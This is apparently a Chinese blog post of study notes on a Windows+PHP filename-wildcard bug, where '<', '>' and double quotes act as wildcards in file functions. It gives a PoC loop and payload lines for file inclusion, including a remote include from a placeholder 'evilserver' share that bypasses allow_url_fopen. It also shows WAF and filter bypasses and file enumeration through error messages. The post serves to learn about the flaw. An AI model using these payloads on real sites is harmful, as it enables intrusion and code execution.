今天在网上看到一个 win+php 组合的 Bug:Windows 下 php 中访问文件名使用 <
>
将会被替换成 *
?
,分别代表 N 个任意字符与 1 个任意字符。这篇是学习的测试记录
漏洞信息
Poc
1 2 3 4 5 6 7
| <?php for ($i=0; $i<255; $i++) { $url = '1.ph' . chr($i); $tmp = @file_get_contents($url); if (!empty($tmp)) echo chr($i) . "\r\n"; } ?>
|
已知 1.php 存在,以上脚本访问的结果是:
1.php
1.phP
1.ph<
1.ph>
都能得到返回。
前两种能返回结果是总所周知的(因为 windows 的文件系统支持大小的互转的机制),另外的两种返回比较特殊:
在 win+php 中
1
| 字符”>”被替换成”?”,字符”<”被替换成”*”,而符号”(双引号)被替换成一个”.”字符
|
关于该 bug 可以利用的函数我们已经列了如下一表:
利用方法总结
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| 当调用 FindFirstFile()函数时,”<”被替换成”*”,这意味该规则可以使”<”替换多个任意字符,但是测试中发现并不是所有情况都如我们所愿。所以,为了确保能够使”<”被替换成”*”,应当采用”<<”。EXAMPLE: include(‘shell<’); 或者: include(‘shell<<’); 当调用 FindFirstFile()函数时,”>”被替换成”?”,这意味这”>”可以替换单个任意字符。EXAMPLE: include(‘shell.p>p’); 当调用 FindFirstFile()函数时,”””(双引号)被替换成”.”。EXAMPLE: include(‘shell”php’); 如果文件名第一个字符是”.”的话,读取时可以忽略之。EXAMPLE: fopen(‘.htacess’);
文件名末尾可以加上一系列的/或者\的合集,你也可以在/或者\中间加上.字符,只要确保最后一位为”.” EXAMPLE: fopen(“config.ini\\. fopen(‘config.ini\./.\.’); ==> fopen(‘config.ini fopen(‘config.ini…..’) 该函数也可以调用以”\\”打头的网络共享文件,当然这会耗费不短的时间。补充一点,如果共享名不存在时,该文件操作将会额外耗费 4 秒钟的时间,并可能触发时间响应机制以及 max_execution_time 抛错。所幸的是,该利用可以用来绕过 allow_url_fopen=Off 并最终导致一个 RFI(远程文件包含)EXAMPLE: include (‘\\evilserver\shell.php’); 用以下方法还可以切换文件的盘名: include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php’); 选择磁盘命名语法可以用来绕过斜线字符过滤 file_get_contents(‘C:boot.ini’); 在 php 的命令行环境下(php.exe),关于系统保留名文件的利用细节。EXAMPLE: file_get_contents(‘C:/tmp/con.jpg’); EXAMPLE: file_put_contents(‘C:/tmp/con.jpg’,chr(0×07));
|
更深入的利用方法
除了以上已经展示的方法,你可以用下面的姿势来绕过 WAF 或者文件名过滤
请思考该例:
1 2 3 4
| <?php file_get_contents("/images/".$_GET['a'].".jpg");
?>
|
访问 test.php?a=../a<%00 可能出现两种结果:
1 2 3
| warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in...
Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied...
|
如果是第一种情况,说明不存在 a 打头的文件,第二种则存在。
此外,有记录显示,有时网站会抛出如下错误:
1
| Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..
|
这说明该文件夹下存在一个以上以 a 打头的文件(夹),并且第一个就是 admin_h1d3
本地实际测试
在 win10 上测试了一下,发现这个利用的语句很奇怪,似乎没有规律。
<
被替换成 *
是没错,但是 *
应该是前面字符重复 0-n 次。然而测试的时候发现
1<php
居然也可以。。。所以先记着 win+php 有这么个缺陷,以后要用到的时候再回来看看。
最后,win 下建立 .htacess
需要用 cmd 语句:
copy con .htaccess
来呀快活呀